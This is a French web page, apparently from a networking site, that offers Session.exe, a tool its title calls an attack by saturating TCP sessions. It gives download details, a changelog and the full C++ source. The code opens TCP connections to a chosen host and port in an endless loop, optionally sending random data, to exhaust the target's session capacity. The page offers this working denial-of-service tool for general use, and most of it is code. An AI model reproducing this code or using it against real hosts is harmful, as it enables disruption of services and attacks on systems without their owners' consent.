Outil d’attaque par saturation des sessions TCP

Outil d’attaque par saturation des sessions TCP

1 – Définition de l’exécutable

Session.exe permet de générer multiple sessions TCP afin de saturer un hôte distant. Vous avez la possibilité de choisir le port de destination et d’envoyer des datas après l’ouverture de session (chaîne de caractères ascii tirés aléatoirement).

2 – Screen shot

session screen shoot

3 – Download

Nom : Session.exe
Mode : Console
Version : 1.6
Librairie : 3.10
Taille : 48 Ko
Auteur : _SebF
Date de création : 15 Décembre 2003
Dernière compilation : 01 Septembre 2006

4 – Suivi du développement

4.1 – Problème restant

4.2 – RoadMap

  • Personnaliser les data envoyer.

4.3 – Suivi du projet

  • V1.6.3.10
    Compilation sous Visual C++ 2003
    Compilation en mode release
    Changement du nom d’hôte par défaut par une adresse IP
    Changement de l’argument port_destination en tcp_port_destination
  • V1.5
    Je sature à 3991 sessions simultanées à partir de mon XP pro. Que ce soit à destination d’un ou plusieurs cible.
  • V1.5
    Ajout de l’argument -max_data permettant de choisir la valeur maximum de la chaîne de caractère aléatoire.
    Correction des nouveau argument dans l’aide.
  • V1.4
    Ajout de l’argument -send_data permettant de désactiver l’envoi de la chaîne de caractère aléatoire.
  • V1.3
    Personnalisation de l’affichage du résultat.
  • V1.2
    Relecture du code.
    Accélération des ouvertures de sessions en ne spécifiant que le stricte minimum dans le while.
    Ajout de l’envoi d’un chaîne de char aléatoire ………………….
  • V1.1
    Ajout du choix de l’hote de destination.
    Ajout du choix du port TCP de destination.
  • V1.0
    Début du développement afin de créer un exe permettant de saturer le nombre de sessions TCP d’un host.
    Copie du programme « Telnet ».
    Passage en Level 4.
    Suppression du répertoire Debug.
    Ajout de /NODEFAULTLIB:libcd.lib dans la compilation

5 – Code source

5.1 – Session.cpp

// ********************************************************
// Nom : Session.cpp
// Auteur : SebF@frameIP.com.pas.de.spam
// Date de création : 15 décembre 2003
// version : 1.6
// Licence : Cette executable est libre de toute utilisation.
//           La seule condition existante est de faire référence
//           au site http://www.frameip.com afin de respecter le travail d'autrui.
// ********************************************************

// ********************************************************
// Les includes
// ********************************************************
// Il faut ajouter dans les proprités du projet => C++ => Command Line :
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Include"
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairieSocket"
#include "LibrairieSocket.h"
#include "pcap.h"

// ********************************************************
// Les Librairies
// ********************************************************
// Il faut ajouter dans les proprités du projet => Linker => Command Line :
// /NODEFAULTLIB:libcd.lib
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Lib"
// /NODEFAULTLIB:LIBCMTD.lib
#pragma comment(lib,"Packet.lib")
#pragma comment(lib,"wpcap.lib")

// ********************************************************
// Les procédures
// ********************************************************
void initiation_des_variables(void);
void affichage_de_l_aide(void);
void gestion_des_arguments(int argc, char* argv[]);
void sortie_avec_erreur(int,char [65535]);

// ********************************************************
// Les variables
// ********************************************************
unsigned long ip_destination;                // Inet_addr de l'adresse IP de destination
char ip_destination_initiale[16];            // Adresse IP Destination permettant d'initier entete_ipv4.ip_destination
bool argument_ip_destination;              // Permet de savoir si l'utilisateur à spécifier une ip de destination ou pas
unsigned short port_destination;           // Port de destination
SOCKET id_de_la_socket;                                                               // Numéro de la socket
SOCKADDR_IN telnet_information_sur_la_destination;  // Structure SockADDR
int erreur;
unsigned long loops;
unsigned short max_data;
bool bouclage_infinie;
char tempo[65535];
int nombre_de_caractere;
bool send_data;

int main (int argc, char* argv[])
            {
            int compteur_reussit=0;
            int i;

            initiation_des_variables();
            gestion_des_arguments(argc,argv);

            WSADATA initialisation_win32;
            
            // ********************************************************
            // Initialisation de la Socket
            // ********************************************************
            WSAStartup(MAKEWORD(2,2),&initialisation_win32);

            telnet_information_sur_la_destination.sin_family=AF_INET;
            telnet_information_sur_la_destination.sin_addr.s_addr=ip_destination;
            telnet_information_sur_la_destination.sin_port=htons(port_destination);

            if (bouclage_infinie==true)
                        loops=99;
            
            printf("\n");

            while (loops>0)
                        {
                        // ********************************************************
                        // Gestion de la boucle
                        // ********************************************************
                        if (bouclage_infinie==true)
                                   loops=99;
                        else
                                   loops--;

                        // ********************************************************
                        // Création de la connexion TCP
                        // ********************************************************
                        id_de_la_socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
                        erreur=connect(id_de_la_socket,(struct sockaddr *)&telnet_information_sur_la_destination,sizeof(telnet_information_sur_la_destination));

                        // ********************************************************
                        // Génération de la chaine de caractère aléatoire
                        // ********************************************************
                        nombre_de_caractere=rand()%max_data+1;
                        memset(&tempo,0,sizeof(tempo));
                        for (i=0;i<nombre_de_caractere;i++)
                                   tempo[i]=(char)rand()%255+1;

                        // ********************************************************
                        // Envoi de la chaine de caractère aléatoire
                        // ********************************************************
                        if (send_data==true)
                                   send(id_de_la_socket,tempo,nombre_de_caractere,0);

                        // ********************************************************
                        // Compteur
                        // ********************************************************
                        if (erreur==0)
                                   compteur_reussit++;

                        // ********************************************************
                        // Affichage du resultat
                        // ********************************************************
                        if (erreur==0)
                                   printf("%d - Success, one more.\n",compteur_reussit);
                        else if (WSAGetLastError()==10055)
                                   printf("Failed because Local queue is full.\n");
                        else if (WSAGetLastError()==10060)
                                   printf("Failed because Timeout.\n");
                        else if (WSAGetLastError()==10061)
                                   printf("Failed because The target refused this TCP session.\n");
                        else
                                   printf("Failed because %d.\n",WSAGetLastError());
        }
            return(1);
            }

void initiation_des_variables(void)
            {
            // ********************************************************
            // Affichage de la banniere
            // ********************************************************
            printf("\nSession -  Create some TCP session - Version 1.5.3.10");
            printf("\nCreate on December 15, 2003, Last compilation on September 01, 2006");
            printf("\nCreated by Sebastien FONTAINE - http://www.frameip.com");
            printf("\n");

            // ********************************************************
            // Initiation des arguments
            // ********************************************************
            argument_ip_destination=false;
            port_destination=25;
            loops=0;
            bouclage_infinie=true;
            max_data=65535;
            srand(GetTickCount());                                   // Initialise le Random
            send_data=false;

            strcpy(ip_destination_initiale,"192.168.101.254");
            ip_destination=resolution_de_nom(TRUE,ip_destination_initiale);
            }

void affichage_de_l_aide(void)
            {
            printf("\n");
            printf("\n-?                     This help");
            printf("\n-ip_destination        @Ip or host name   Defaut: %s (0 => random)",ip_destination_initiale);
            printf("\n-tcp_port_destination  Between 0 & 65535  Defaut: %d (0 => random)",port_destination);
            printf("\n-loops                 Number of loops    Defaut: %d (0 => no stop)",loops);
            printf("\n-max_data              Max Data value     Default: %d",max_data);
            printf("\n-send_data             1 => random data   Default: %d",send_data);
            printf("\n");
            printf("\nsample : session.exe -ip_destination 10.10.10.10 -port_destination 110");
            printf("\n");
            printf("\n");
            exit(0);
            }

void gestion_des_arguments(int argc,char* argv[])
            {
            char *caractere_non_convertit;
            int i;

            // ********************************************************
            // S'il n'y a pas d'argument
            // ********************************************************
            if (argc==1)
                        affichage_de_l_aide();

            // ********************************************************
            // Récupération des arguments
            // ********************************************************
            for (i=1;i<argc;i=i+1)
                        {
                        if ( (strcmp(strlwr(argv[i]),"-?")==0) || (strcmp(strlwr(argv[i]),"/?")==0) )
                                   affichage_de_l_aide();
                        if ( (strcmp(strlwr(argv[i]),"-ip_destination")==0) || (strcmp(strlwr(argv[i]),"/ip_destination")==0) )
                                   ip_destination=(unsigned long)resolution_de_nom(false,argv[i+1]);
                        if ( (strcmp(strlwr(argv[i]),"-tcp_port_destination")==0) || (strcmp(strlwr(argv[i]),"/tcp_port_destination")==0) )
                                   port_destination=(unsigned short)strtod(argv[i+1],&caractere_non_convertit);
                        if (strcmp(strlwr(argv[i]),"-loops")==0)
                                   {
                                   loops=(unsigned long)strtod(argv[i+1],&caractere_non_convertit);

                                   if (loops==0)
                                               bouclage_infinie=TRUE;
                                   else
                                               bouclage_infinie=FALSE;
                                   }
                        if ( (strcmp(strlwr(argv[i]),"-max_data")==0) || (strcmp(strlwr(argv[i]),"/max_data")==0) )
                                   max_data=(unsigned short)strtod(argv[i+1],&caractere_non_convertit);
                        if ( (strcmp(strlwr(argv[i]),"-send_data")==0) || (strcmp(strlwr(argv[i]),"/send_data")==0) )
                                   send_data=(bool)strtod(argv[i+1],&caractere_non_convertit);
                        }
            }

6 – Discussion autour de l’outil d’attaque par saturation des sessions TCP

Vous pouvez poser toutes vos questions, faire part de vos remarques et partager vos expériences à propos de l’outil d’attaque par saturation des sessions TCP. Pour cela, n’hésitez pas à laisser un commentaire ci-dessous :

X - Commentaire et discussion

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *